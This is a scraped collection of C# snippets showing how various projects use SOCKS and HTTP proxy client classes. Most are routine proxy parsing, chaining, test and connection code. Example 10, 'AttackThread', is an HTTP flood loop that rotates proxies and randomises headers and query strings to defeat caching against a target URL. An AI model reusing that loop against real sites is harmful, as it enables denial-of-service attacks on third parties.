Esempio n. 1
0
        /// <summary>
        /// Gets the standard ProxyClient related to the specific proxy type.
        /// </summary>
        /// <returns>The standard ProxyClient (not chained)</returns>
        private ProxyClient GetStandardClient()
        {
            ProxyClient pc;

            switch (Type)
            {
            case ProxyType.Http:
                pc = HttpProxyClient.Parse(Proxy);
                break;

            case ProxyType.Socks4:
                pc = Socks4ProxyClient.Parse(Proxy);
                break;

            case ProxyType.Socks4a:
                pc = Socks4aProxyClient.Parse(Proxy);
                break;

            case ProxyType.Socks5:
                pc = Socks5ProxyClient.Parse(Proxy);
                break;

            default:
                return(null);
            }

            pc.Username = Username;
            pc.Password = Password;

            return(pc);
        }
Esempio n. 2
0
        private void CheckProxy(string proxyString)
        {
            try
            {
                ProxyClient proxyClient;
                switch (_proxiesType)
                {
                case "http":
                    proxyClient = HttpProxyClient.Parse(proxyString);
                    break;

                case "socks4":
                    proxyClient = Socks4ProxyClient.Parse(proxyString);
                    break;

                case "socks4a":
                    proxyClient = Socks4aProxyClient.Parse(proxyString);
                    break;

                case "socks5":
                    proxyClient = Socks5ProxyClient.Parse(proxyString);
                    break;

                default:
                    proxyClient = HttpProxyClient.Parse(proxyString);
                    break;
                }
                proxyClient.ConnectTimeout = _connectionTimeout;
                var tcpClient = proxyClient.CreateConnection("google.com", 80);
                if (tcpClient.Connected)
                {
                    _goodProxies.Add(proxyString);
                    if (_debug)
                    {
                        Console.WriteLine("Good proxy: {0}", proxyString);
                    }
                }
                else
                {
                    if (_debug)
                    {
                        Console.WriteLine("Bad proxy: {0}", proxyString);
                    }
                }
            }
            catch (ProxyException pex)
            {
                if (_debug)
                {
                    Console.WriteLine(pex.Message);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
Esempio n. 3
0
        /// <summary>
        /// Gets the ProxyClient related to the specific proxy type.
        /// </summary>
        /// <returns>The ProxyClient to be used in a HttpRequest</returns>
        public ProxyClient GetClient()
        {
            if (HasNext)
            {
                ChainProxyClient cpc = new ChainProxyClient();
                var current          = this;
                while (current != null)
                {
                    switch (current.Type)
                    {
                    case ProxyType.Http:
                        cpc.AddHttpProxy(current.Proxy);
                        break;

                    case ProxyType.Socks4:
                        cpc.AddSocks4Proxy(current.Proxy);
                        break;

                    case ProxyType.Socks4a:
                        cpc.AddSocks4aProxy(current.Proxy);
                        break;

                    case ProxyType.Socks5:
                        cpc.AddSocks5Proxy(current.Proxy);
                        break;
                    }
                    current = current.Next;
                }
                return(cpc);
            }
            else
            {
                switch (Type)
                {
                case ProxyType.Http:
                    return(HttpProxyClient.Parse(Proxy));

                case ProxyType.Socks4:
                    return(Socks4ProxyClient.Parse(Proxy));

                case ProxyType.Socks4a:
                    return(Socks4aProxyClient.Parse(Proxy));

                case ProxyType.Socks5:
                    return(Socks5ProxyClient.Parse(Proxy));

                default:
                    return(null);
                }
            }
        }
Esempio n. 4
0
            public async Task <string[, ]> ProxyCheck(string proxy, string url, bool autoredirect, bool reconnect = false, int timeout = 0, int ptype = 0)
            {
                return(await Task.Run(() =>
                {
                    string[,] data = new string[1, 2];
                    try
                    {
                        using (HttpRequest req = new HttpRequest(url))
                        {
                            req.UserAgent = HttpHelper.ChromeUserAgent();
                            req.Cookies = new CookieCore(false);
                            req.AllowAutoRedirect = autoredirect;
                            req.Reconnect = reconnect;
                            req.SslCertificateValidatorCallback = HttpHelper.AcceptAllCertificationsCallback;
                            req.ConnectTimeout = timeout;

                            #region proxyset
                            switch (ptype)
                            {
                            case 0:
                                req.Proxy = HttpProxyClient.Parse(proxy);
                                break;

                            case 1:
                                req.Proxy = Socks4ProxyClient.Parse(proxy);
                                break;

                            case 2:
                                req.Proxy = Socks4aProxyClient.Parse(proxy);
                                break;

                            case 3:
                                req.Proxy = Socks5ProxyClient.Parse(proxy);
                                break;

                            default:
                                break;
                            }
                            #endregion
                            var res = req.Get("/");
                            data[0, 0] = proxy;
                            data[0, 1] = res.ConnectionTime.ToString();
                            return data;
                        }
                    }
                    catch
                    {
                        return null;
                    }
                }));
            }
Esempio n. 5
0
 private Socket SocksProxyConnect(Socket socket, IPEndPoint target)
 {
     try
     {
         var proxyClient = new Socks4aProxyClient(new TcpClient {
             Client = socket
         });
         var tcpClient = proxyClient.CreateConnection(target.Address.ToString(), target.Port);
         return(tcpClient.Client);
     }
     catch (ProxyException)
     {
         throw new ProxyRouteException(new ProxyServer(ProxyProtocol.HttpConnect, target.Address, target.Port));
     }
 }
Esempio n. 6
0
        public void TestSocks4aCreateConnection(string proxyHost, int proxyPort, string destHost, int destPort)
        {
            Socks4aProxyClient p = new Socks4aProxyClient();

            p.ProxyHost = proxyHost;
            p.ProxyPort = proxyPort;
            TcpClient c = p.CreateConnection(destHost, destPort);

            byte[] sendBuf = System.Text.ASCIIEncoding.ASCII.GetBytes("GET / HTTP/1.1\n");
            c.GetStream().Write(sendBuf, 0, sendBuf.Length);
            byte[] recvBuf = new byte[1024];
            c.GetStream().Read(recvBuf, 0, recvBuf.Length);
            Console.Out.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(recvBuf));
            c.Close();
        }
Esempio n. 7
0
 public ProxyConnecter()
 {
     HTTP = new HttpRequest();
     if (sys.setting.Get(_n, "isProxy").Equals("1"))
     {
         string      type = sys.setting.Get(_n, "ProxyType");
         ProxyClient client;
         if (type.Equals("Socks5"))
         {
             client = new Socks5ProxyClient();
         }
         else
         {
             if (type.Equals("Socks4"))
             {
                 client = new Socks4ProxyClient();
             }
             else
             if (type.Equals("Socks4a"))
             {
                 client = new Socks4aProxyClient();
             }
             else
             if (type.Equals("Http"))
             {
                 client = new HttpProxyClient();
             }
             else
             {
                 throw new Exception("Unexcepted Proxy");
             }
         }
         client.Host = sys.setting.Get(_n, "ProxyHost");
         client.Port = int.Parse(sys.setting.Get(_n, "ProxyPort"));
         if (sys.setting.Get(_n, "ProxyAuth").Equals("1"))
         {
             client.Username = sys.setting.Get(_n, "ProxyUser");
             client.Password = sys.setting.Get(_n, "ProxyPass");
         }
         this.HTTP.Proxy = client;
     }
     url = sys.setting.Get(_n, "url");
 }
Esempio n. 8
0
        protected System.Net.Sockets.TcpClient ProxyHandler(string address, int port)
        {
            IProxyClient proxy;

            switch (ProxyType)
            {
            case ProxyType.Socks5:
                proxy = new Socks5ProxyClient(ProxyHost, ProxyPort);
                break;

            case ProxyType.Socks4:
                proxy = new Socks4ProxyClient(ProxyHost, ProxyPort);
                break;

            case ProxyType.Socks4a:
                proxy = new Socks4aProxyClient(ProxyHost, ProxyPort);
                break;

            default:
                proxy = null;
                break;
            }
            return(proxy?.CreateConnection(address, port));
        }
Esempio n. 9
0
        public Connection CreateConnection(string uri, BandwidthLimit bandwidthLimit)
        {
            List <IDisposable> garbages = new List <IDisposable>();

            try
            {
                Connection connection = null;

                if (connection == null)
                {
                    // Overlay network
                    var cap = this.OnCreateCapEvent(uri);
                    if (cap == null)
                    {
                        goto End;
                    }

                    garbages.Add(cap);

                    connection = new BaseConnection(cap, bandwidthLimit, _maxReceiveCount, _bufferManager);
                    garbages.Add(connection);

                    End :;
                }

                if (connection == null)
                {
                    ConnectionFilter connectionFilter = null;

                    lock (this.ThisLock)
                    {
                        foreach (var filter in this.Filters)
                        {
                            if (filter.UriCondition.IsMatch(uri))
                            {
                                if (filter.ConnectionType != ConnectionType.None)
                                {
                                    connectionFilter = filter.Clone();
                                }

                                break;
                            }
                        }
                    }

                    if (connectionFilter == null)
                    {
                        return(null);
                    }

                    string scheme = null;
                    string host   = null;
                    int    port   = -1;

                    {
                        var match = _regex.Match(uri);

                        if (match.Success)
                        {
                            scheme = match.Groups[1].Value;
                            host   = match.Groups[2].Value;
                            port   = int.Parse(match.Groups[3].Value);
                        }
                        else
                        {
                            var match2 = _regex2.Match(uri);

                            if (match2.Success)
                            {
                                scheme = match2.Groups[1].Value;
                                host   = match2.Groups[2].Value;
                                port   = 4050;
                            }
                        }
                    }

                    if (host == null)
                    {
                        return(null);
                    }

                    IList <KeyValuePair <string, string> > options = null;

                    if (!string.IsNullOrWhiteSpace(connectionFilter.Option))
                    {
                        options = ClientManager.Decode(connectionFilter.Option).OfType <KeyValuePair <string, string> >().ToList();
                    }

                    if (connectionFilter.ConnectionType == ConnectionType.Tcp)
                    {
                        var ipAddress = ClientManager.GetIpAddress(host);
                        if (ipAddress == null)
                        {
                            return(null);
                        }

                        host = ipAddress.ToString();
                        uri  = string.Format("{0}:{1}:{2}", scheme, host, port);

                        if (!this.OnCheckUriEvent(uri))
                        {
                            return(null);
                        }

#if !DEBUG
                        // Check
                        {
                            Uri url = new Uri(string.Format("{0}://{1}:{2}", scheme, host, port));

                            if (url.HostNameType == UriHostNameType.IPv4)
                            {
                                if (IPAddress.Any.ToString() == ipAddress.ToString() ||
                                    IPAddress.Loopback.ToString() == ipAddress.ToString() ||
                                    IPAddress.Broadcast.ToString() == ipAddress.ToString())
                                {
                                    return(null);
                                }
                                if (CollectionUtilities.Compare(ipAddress.GetAddressBytes(), IPAddress.Parse("10.0.0.0").GetAddressBytes()) >= 0 &&
                                    CollectionUtilities.Compare(ipAddress.GetAddressBytes(), IPAddress.Parse("10.255.255.255").GetAddressBytes()) <= 0)
                                {
                                    return(null);
                                }
                                if (CollectionUtilities.Compare(ipAddress.GetAddressBytes(), IPAddress.Parse("172.16.0.0").GetAddressBytes()) >= 0 &&
                                    CollectionUtilities.Compare(ipAddress.GetAddressBytes(), IPAddress.Parse("172.31.255.255").GetAddressBytes()) <= 0)
                                {
                                    return(null);
                                }
                                if (CollectionUtilities.Compare(ipAddress.GetAddressBytes(), IPAddress.Parse("127.0.0.0").GetAddressBytes()) >= 0 &&
                                    CollectionUtilities.Compare(ipAddress.GetAddressBytes(), IPAddress.Parse("127.255.255.255").GetAddressBytes()) <= 0)
                                {
                                    return(null);
                                }
                                if (CollectionUtilities.Compare(ipAddress.GetAddressBytes(), IPAddress.Parse("192.168.0.0").GetAddressBytes()) >= 0 &&
                                    CollectionUtilities.Compare(ipAddress.GetAddressBytes(), IPAddress.Parse("192.168.255.255").GetAddressBytes()) <= 0)
                                {
                                    return(null);
                                }
                            }
                            else if (url.HostNameType == UriHostNameType.IPv6)
                            {
                                if (IPAddress.IPv6Any.ToString() == ipAddress.ToString() ||
                                    IPAddress.IPv6Loopback.ToString() == ipAddress.ToString() ||
                                    IPAddress.IPv6None.ToString() == ipAddress.ToString())
                                {
                                    return(null);
                                }
                                if (ipAddress.ToString().ToLower().StartsWith("fe80:"))
                                {
                                    return(null);
                                }
                            }
                        }
#endif

                        var socket = ClientManager.Connect(new IPEndPoint(ipAddress, port), new TimeSpan(0, 0, 10));
                        garbages.Add(socket);

                        var cap = new SocketCap(socket);
                        garbages.Add(cap);

                        connection = new BaseConnection(cap, bandwidthLimit, _maxReceiveCount, _bufferManager);
                        garbages.Add(connection);
                    }
                    else
                    {
                        if (!this.OnCheckUriEvent(uri))
                        {
                            return(null);
                        }

                        string proxyScheme = null;
                        string proxyHost   = null;
                        int    proxyPort   = -1;

                        {
                            var match = _regex.Match(connectionFilter.ProxyUri);

                            if (match.Success)
                            {
                                proxyScheme = match.Groups[1].Value;
                                proxyHost   = match.Groups[2].Value;
                                proxyPort   = int.Parse(match.Groups[3].Value);
                            }
                            else
                            {
                                var match2 = _regex2.Match(connectionFilter.ProxyUri);

                                if (match2.Success)
                                {
                                    proxyScheme = match2.Groups[1].Value;
                                    proxyHost   = match2.Groups[2].Value;

                                    if (connectionFilter.ConnectionType == ConnectionType.Socks4Proxy ||
                                        connectionFilter.ConnectionType == ConnectionType.Socks4aProxy ||
                                        connectionFilter.ConnectionType == ConnectionType.Socks5Proxy)
                                    {
                                        proxyPort = 1080;
                                    }
                                    else if (connectionFilter.ConnectionType == ConnectionType.HttpProxy)
                                    {
                                        proxyPort = 80;
                                    }
                                }
                            }
                        }

                        if (proxyHost == null)
                        {
                            return(null);
                        }

                        if (connectionFilter.ConnectionType == ConnectionType.Socks4Proxy ||
                            connectionFilter.ConnectionType == ConnectionType.Socks4aProxy ||
                            connectionFilter.ConnectionType == ConnectionType.Socks5Proxy ||
                            connectionFilter.ConnectionType == ConnectionType.HttpProxy)
                        {
                            var socket = ClientManager.Connect(new IPEndPoint(ClientManager.GetIpAddress(proxyHost), proxyPort), new TimeSpan(0, 0, 10));
                            garbages.Add(socket);

                            ProxyClientBase proxy = null;

                            if (connectionFilter.ConnectionType == ConnectionType.Socks4Proxy)
                            {
                                var user = (options != null) ? options.Where(n => n.Key.ToLower().StartsWith("user")).Select(n => n.Value).FirstOrDefault() : null;
                                proxy = new Socks4ProxyClient(socket, user, host, port);
                            }
                            else if (connectionFilter.ConnectionType == ConnectionType.Socks4aProxy)
                            {
                                var user = (options != null) ? options.Where(n => n.Key.ToLower().StartsWith("user")).Select(n => n.Value).FirstOrDefault() : null;
                                proxy = new Socks4aProxyClient(socket, user, host, port);
                            }
                            else if (connectionFilter.ConnectionType == ConnectionType.Socks5Proxy)
                            {
                                var user = (options != null) ? options.Where(n => n.Key.ToLower().StartsWith("user")).Select(n => n.Value).FirstOrDefault() : null;
                                var pass = (options != null) ? options.Where(n => n.Key.ToLower().StartsWith("pass")).Select(n => n.Value).FirstOrDefault() : null;
                                proxy = new Socks5ProxyClient(socket, user, pass, host, port);
                            }
                            else if (connectionFilter.ConnectionType == ConnectionType.HttpProxy)
                            {
                                proxy = new HttpProxyClient(socket, host, port);
                            }

                            var cap = new SocketCap(proxy.Create(new TimeSpan(0, 0, 30)));
                            garbages.Add(cap);

                            connection = new BaseConnection(cap, bandwidthLimit, _maxReceiveCount, _bufferManager);
                            garbages.Add(connection);
                        }
                    }
                }

                if (connection == null)
                {
                    return(null);
                }

                var secureConnection = new SecureConnection(SecureConnectionVersion.Version3, SecureConnectionType.Connect, connection, null, _bufferManager);
                garbages.Add(secureConnection);

                secureConnection.Connect(new TimeSpan(0, 0, 30));

                var compressConnection = new CompressConnection(secureConnection, _maxReceiveCount, _bufferManager);
                garbages.Add(compressConnection);

                compressConnection.Connect(new TimeSpan(0, 0, 10));

                return(compressConnection);
            }
            catch (Exception)
            {
                foreach (var item in garbages)
                {
                    item.Dispose();
                }
            }

            return(null);
        }
Esempio n. 10
0
        private void AttackThread()
        {
            string attackTarget = null;
            string proxy        = null;

            while (_mt.Canceling != true)
            {
                if (_proxies.Count > 0)
                {
                    try
                    {
                        proxy = _proxies[Rand.Next(0, (_proxies.Count) - 1)];

                        if (proxy != null)
                        {
                            using (var request = new HttpRequest())
                            {
                                switch (_proxiesType)
                                {
                                case "http":
                                    request.Proxy = HttpProxyClient.Parse(proxy);
                                    break;

                                case "socks4":
                                    request.Proxy = Socks4ProxyClient.Parse(proxy);
                                    break;

                                case "socks4a":
                                    request.Proxy = Socks4aProxyClient.Parse(proxy);
                                    break;

                                case "socks5":
                                    request.Proxy = Socks5ProxyClient.Parse(proxy);
                                    break;

                                default:
                                    request.Proxy = HttpProxyClient.Parse(proxy);
                                    break;
                                }

                                if (_randomString)
                                {
                                    //attack_target = target + "/" + GetRandomString(Rand.Next(0, 16));
                                    attackTarget = _target + "?" + GetRandomString(Rand.Next(3, 10)) + "=" +
                                                   GetRandomString(Rand.Next(3, 10));
                                }

                                request.Proxy.ConnectTimeout = _proxiesWaitDelay;
                                request.AddHeader("User-Agent", _useragentList[Rand.Next(0, _useragentList.Count - 1)]);
                                request.AddHeader("Cache-Control", "no-cache");
                                request.AddHeader("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7");
                                request.AddHeader("Referer",
                                                  _refererList[Rand.Next(0, _refererList.Count - 1)] +
                                                  GetRandomString(Rand.Next(5, 10)).ToUpper());
                                request.AddHeader("Keep-Alive", Rand.Next(110, 120).ToString());
                                request.KeepAlive = true;

                                Console.WriteLine("{0} - [{1}]", proxy, (int)request.Get(attackTarget).StatusCode);
                            }
                        }
                        Thread.Sleep(_delay);
                    }
                    catch (ProxyException pex)
                    {
                        Console.WriteLine(pex.StackTrace);
                        Console.WriteLine(pex.Message);
                        if (_deleteBad && proxy != null)
                        {
                            _proxies.Remove(proxy);
                            Console.ForegroundColor = ConsoleColor.Yellow;
                            Console.WriteLine("Deleted proxy {0}", proxy);
                            Console.WriteLine("Proxies left: {0}", _proxies.Count);
                            Console.ResetColor();
                        }
                        return;
                    }
                    catch (HttpException hex)
                    {
                        switch ((int)hex.HttpStatusCode)
                        {
                        case 500:
                            Console.ForegroundColor = ConsoleColor.Red;
                            Console.WriteLine("{0} - [{1}]", proxy, (int)hex.HttpStatusCode);
                            Console.ResetColor();
                            break;

                        case 0:
                            if (_deleteBad && proxy != null)
                            {
                                _proxies.Remove(proxy);
                                Console.ForegroundColor = ConsoleColor.Yellow;
                                Console.WriteLine("Deleted proxy {0}", proxy);
                                Console.WriteLine("Proxies left: {0}", _proxies.Count);
                                Console.ResetColor();
                            }
                            return;

                        default:
                            Console.WriteLine("{0} - [{1}]", proxy, (int)hex.HttpStatusCode);
                            break;
                        }
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }
                }
                else
                {
                    Console.WriteLine("No proxies found! Attack impossible!");
                }
            }
        }
Esempio n. 11
0
        private static bool TryConnect(out TcpClient tcpClient, out SslStream stream, IpAddressInfo ipAddressInfo)
        {
            tcpClient = null;
            stream    = null;

            TcpClient client = null;

            try
            {
                var proxyProperty = Settings.GetBuilderProperty <ProxyBuilderProperty>();
                if (proxyProperty.ProxyOption != ProxyOption.None)
                {
                    if (proxyProperty.ProxyOption == ProxyOption.AutomaticDetection)
                    {
                        string ipAddress;
                        int    port;
                        ProxyHelper.GetSystemProxy(out ipAddress, out port);
                        for (var i = 0; i < 3; i++)
                        {
                            try
                            {
                                IProxyClient proxyClient;
                                switch (i)
                                {
                                case 0:
                                    proxyClient = new Socks4ProxyClient();
                                    break;

                                case 1:
                                    proxyClient = new Socks4aProxyClient();
                                    break;

                                case 2:
                                    proxyClient = new Socks5ProxyClient();
                                    break;

                                default:
                                    throw new ArgumentException();     //impossible
                                }

                                proxyClient.ProxyHost = ipAddress;
                                proxyClient.ProxyPort = port;
                                client = proxyClient.CreateConnection(ipAddressInfo.Ip, ipAddressInfo.Port);
                                break;
                            }
                            catch (Exception)
                            {
                                // ignored
                            }
                        }
                    }
                    else
                    {
                        IProxyClient proxyClient;
                        switch (proxyProperty.ProxyType)
                        {
                        case 0:
                            proxyClient = new Socks4ProxyClient();
                            break;

                        case 1:
                            proxyClient = new Socks4aProxyClient();
                            break;

                        case 2:
                            proxyClient = new Socks5ProxyClient();
                            break;

                        default:
                            throw new ArgumentException();
                        }

                        proxyClient.ProxyHost = proxyProperty.ProxyAddress;
                        proxyClient.ProxyPort = proxyProperty.ProxyPort;
                        client = proxyClient.CreateConnection(ipAddressInfo.Ip, ipAddressInfo.Port);
                    }
                }
            }
            catch (Exception)
            {
                // ignored
            }

            if (client == null)
            {
                client = new TcpClient();
                try
                {
                    var result  = client.BeginConnect(ipAddressInfo.Ip, ipAddressInfo.Port, null, null);
                    var success = result.AsyncWaitHandle.WaitOne(3000, false);
                    if (!success)
                    {
                        return(false);
                    }

                    client.EndConnect(result);
                }
                catch (Exception)
                {
                    return(false);
                }
            }

            var sslStream = new SslStream(client.GetStream(), false, UserCertificateValidationCallback);

            try
            {
                var serverName = Environment.MachineName;
                sslStream.AuthenticateAsClient(serverName);
            }
            catch (AuthenticationException)
            {
                sslStream.Dispose();
                client.Close();
                return(false);
            }

            tcpClient = client;
            stream    = sslStream;
            return(true);
        }
        private static bool TryConnect(out TcpClient tcpClient, out SslStream stream, string ip, int port)
        {
            tcpClient = null;
            stream    = null;

            TcpClient client;

            if (Settings.Current.UseProxyToConnectToServer)
            {
                IProxyClient proxyClient;
                switch (Settings.Current.ProxyType)
                {
                case ProxyType.Socks4:
                    proxyClient = new Socks4ProxyClient();
                    break;

                case ProxyType.Socks4a:
                    proxyClient = new Socks4aProxyClient();
                    break;

                case ProxyType.Socks5:
                    proxyClient = new Socks5ProxyClient();
                    if (Settings.Current.ProxyAuthenticate)
                    {
                        ((Socks5ProxyClient)proxyClient).ProxyUserName = Settings.Current.ProxyUsername;
                        ((Socks5ProxyClient)proxyClient).ProxyPassword = Settings.Current.ProxyPassword;
                    }
                    break;

                default:
                    throw new ArgumentOutOfRangeException();
                }

                proxyClient.ProxyHost = Settings.Current.ProxyIpAddress;
                proxyClient.ProxyPort = Settings.Current.ProxyPort;
                client = proxyClient.CreateConnection(ip, port);
            }
            else
            {
                client = new TcpClient();
                try
                {
                    var result  = client.BeginConnect(ip, port, null, null);
                    var success = result.AsyncWaitHandle.WaitOne(TimeSpan.FromSeconds(3));

                    if (!success)
                    {
                        return(false);
                    }

                    // we are connected
                    client.EndConnect(result);
                }
                catch (Exception)
                {
                    return(false);
                }
            }

            var sslStream = new SslStream(client.GetStream(), false, UserCertificateValidationCallback);

            try
            {
                var serverName = Environment.MachineName;
                var result     = sslStream.BeginAuthenticateAsClient(serverName, null, null);
                var success    = result.AsyncWaitHandle.WaitOne(TimeSpan.FromSeconds(3));
                if (!success)
                {
                    return(false);
                }

                sslStream.EndAuthenticateAsClient(result);
            }
            catch (AuthenticationException)
            {
                sslStream.Dispose();
                client.Close();
                return(false);
            }

            sslStream.Write(new[] { (byte)AuthentificationIntention.Administration });

            tcpClient = client;
            stream    = sslStream;
            return(true);
        }
Esempio n. 13
0
 public void SetUp()
 {
     _socks4aProxyClient = new Socks4aProxyClient("localhost", 1082);
 }
Esempio n. 14
0
        public ConnectionBase CreateConnection(string uri)
        {
            Socket         socket     = null;
            ConnectionBase connection = null;

            try
            {
                if (this.ConnectionType == ConnectionType.Tcp)
                {
#if !DEBUG
                    {
                        Regex regex = new Regex(@"(.*?):(.*):(\d*)");
                        var   match = regex.Match(uri);
                        Uri   url   = new Uri(string.Format("{0}://{1}:{2}", match.Groups[1], match.Groups[2], match.Groups[3]));

                        if (url.HostNameType == UriHostNameType.IPv4)
                        {
                            var myIpAddress = IPAddress.Parse(url.Host);

                            if (IPAddress.Any.ToString() == myIpAddress.ToString() ||
                                IPAddress.Loopback.ToString() == myIpAddress.ToString() ||
                                IPAddress.Broadcast.ToString() == myIpAddress.ToString())
                            {
                                return(null);
                            }
                            if (Collection.Compare(myIpAddress.GetAddressBytes(), IPAddress.Parse("10.0.0.0").GetAddressBytes()) >= 0 &&
                                Collection.Compare(myIpAddress.GetAddressBytes(), IPAddress.Parse("10.255.255.255").GetAddressBytes()) <= 0)
                            {
                                return(null);
                            }
                            if (Collection.Compare(myIpAddress.GetAddressBytes(), IPAddress.Parse("172.16.0.0").GetAddressBytes()) >= 0 &&
                                Collection.Compare(myIpAddress.GetAddressBytes(), IPAddress.Parse("172.31.255.255").GetAddressBytes()) <= 0)
                            {
                                return(null);
                            }
                            if (Collection.Compare(myIpAddress.GetAddressBytes(), IPAddress.Parse("127.0.0.0").GetAddressBytes()) >= 0 &&
                                Collection.Compare(myIpAddress.GetAddressBytes(), IPAddress.Parse("127.255.255.255").GetAddressBytes()) <= 0)
                            {
                                return(null);
                            }
                            if (Collection.Compare(myIpAddress.GetAddressBytes(), IPAddress.Parse("192.168.0.0").GetAddressBytes()) >= 0 &&
                                Collection.Compare(myIpAddress.GetAddressBytes(), IPAddress.Parse("192.168.255.255").GetAddressBytes()) <= 0)
                            {
                                return(null);
                            }
                        }
                        else if (url.HostNameType == UriHostNameType.IPv6)
                        {
                            var myIpAddress = IPAddress.Parse(url.Host);

                            if (IPAddress.IPv6Any.ToString() == myIpAddress.ToString() ||
                                IPAddress.IPv6Loopback.ToString() == myIpAddress.ToString() ||
                                IPAddress.IPv6None.ToString() == myIpAddress.ToString())
                            {
                                return(null);
                            }
                            if (myIpAddress.ToString().ToLower().StartsWith("fe80:"))
                            {
                                return(null);
                            }
                        }
                    }
#endif

                    connection = new TcpConnection(SessionManager.Connect(SessionManager.GetIpEndPoint(uri), new TimeSpan(0, 0, 10)), SessionManager.MaxReceiveCount, _bufferManager);
                }
                else if (this.ConnectionType == ConnectionType.Socks4Proxy)
                {
                    Regex regex = new Regex(@"(.*?):(.*):(\d*)");
                    var   match = regex.Match(uri);
                    if (!match.Success)
                    {
                        return(null);
                    }

                    socket = SessionManager.Connect(SessionManager.GetIpEndPoint(this.ProxyUri), new TimeSpan(0, 0, 10));
                    var proxy = new Socks4ProxyClient(socket, match.Groups[2].Value, int.Parse(match.Groups[3].Value));

                    connection = new TcpConnection(proxy.CreateConnection(new TimeSpan(0, 0, 10)), SessionManager.MaxReceiveCount, _bufferManager);
                }
                else if (this.ConnectionType == ConnectionType.Socks4aProxy)
                {
                    Regex regex = new Regex(@"(.*?):(.*):(\d*)");
                    var   match = regex.Match(uri);
                    if (!match.Success)
                    {
                        return(null);
                    }

                    socket = SessionManager.Connect(SessionManager.GetIpEndPoint(this.ProxyUri), new TimeSpan(0, 0, 10));
                    var proxy = new Socks4aProxyClient(socket, match.Groups[2].Value, int.Parse(match.Groups[3].Value));

                    connection = new TcpConnection(proxy.CreateConnection(new TimeSpan(0, 0, 10)), SessionManager.MaxReceiveCount, _bufferManager);
                }
                else if (this.ConnectionType == ConnectionType.Socks5Proxy)
                {
                    Regex regex = new Regex(@"(.*?):(.*):(\d*)");
                    var   match = regex.Match(uri);
                    if (!match.Success)
                    {
                        return(null);
                    }

                    socket = SessionManager.Connect(SessionManager.GetIpEndPoint(this.ProxyUri), new TimeSpan(0, 0, 10));
                    var proxy = new Socks5ProxyClient(socket, match.Groups[2].Value, int.Parse(match.Groups[3].Value));

                    connection = new TcpConnection(proxy.CreateConnection(new TimeSpan(0, 0, 10)), SessionManager.MaxReceiveCount, _bufferManager);
                }
                else if (this.ConnectionType == ConnectionType.HttpProxy)
                {
                    Regex regex = new Regex(@"(.*?):(.*):(\d*)");
                    var   match = regex.Match(uri);
                    if (!match.Success)
                    {
                        return(null);
                    }

                    socket = SessionManager.Connect(SessionManager.GetIpEndPoint(this.ProxyUri), new TimeSpan(0, 0, 10));
                    var proxy = new HttpProxyClient(socket, match.Groups[2].Value, int.Parse(match.Groups[3].Value));

                    connection = new TcpConnection(proxy.CreateConnection(new TimeSpan(0, 0, 10)), SessionManager.MaxReceiveCount, _bufferManager);
                }

                var secureConnection = new SecureClientConnection(connection, null, _bufferManager);
                secureConnection.Connect(new TimeSpan(0, 0, 20));

                return(new CompressConnection(secureConnection, SessionManager.MaxReceiveCount, _bufferManager));
            }
            catch (Exception)
            {
                if (socket != null)
                {
                    socket.Close();
                }
                if (connection != null)
                {
                    connection.Dispose();
                }
            }

            return(null);
        }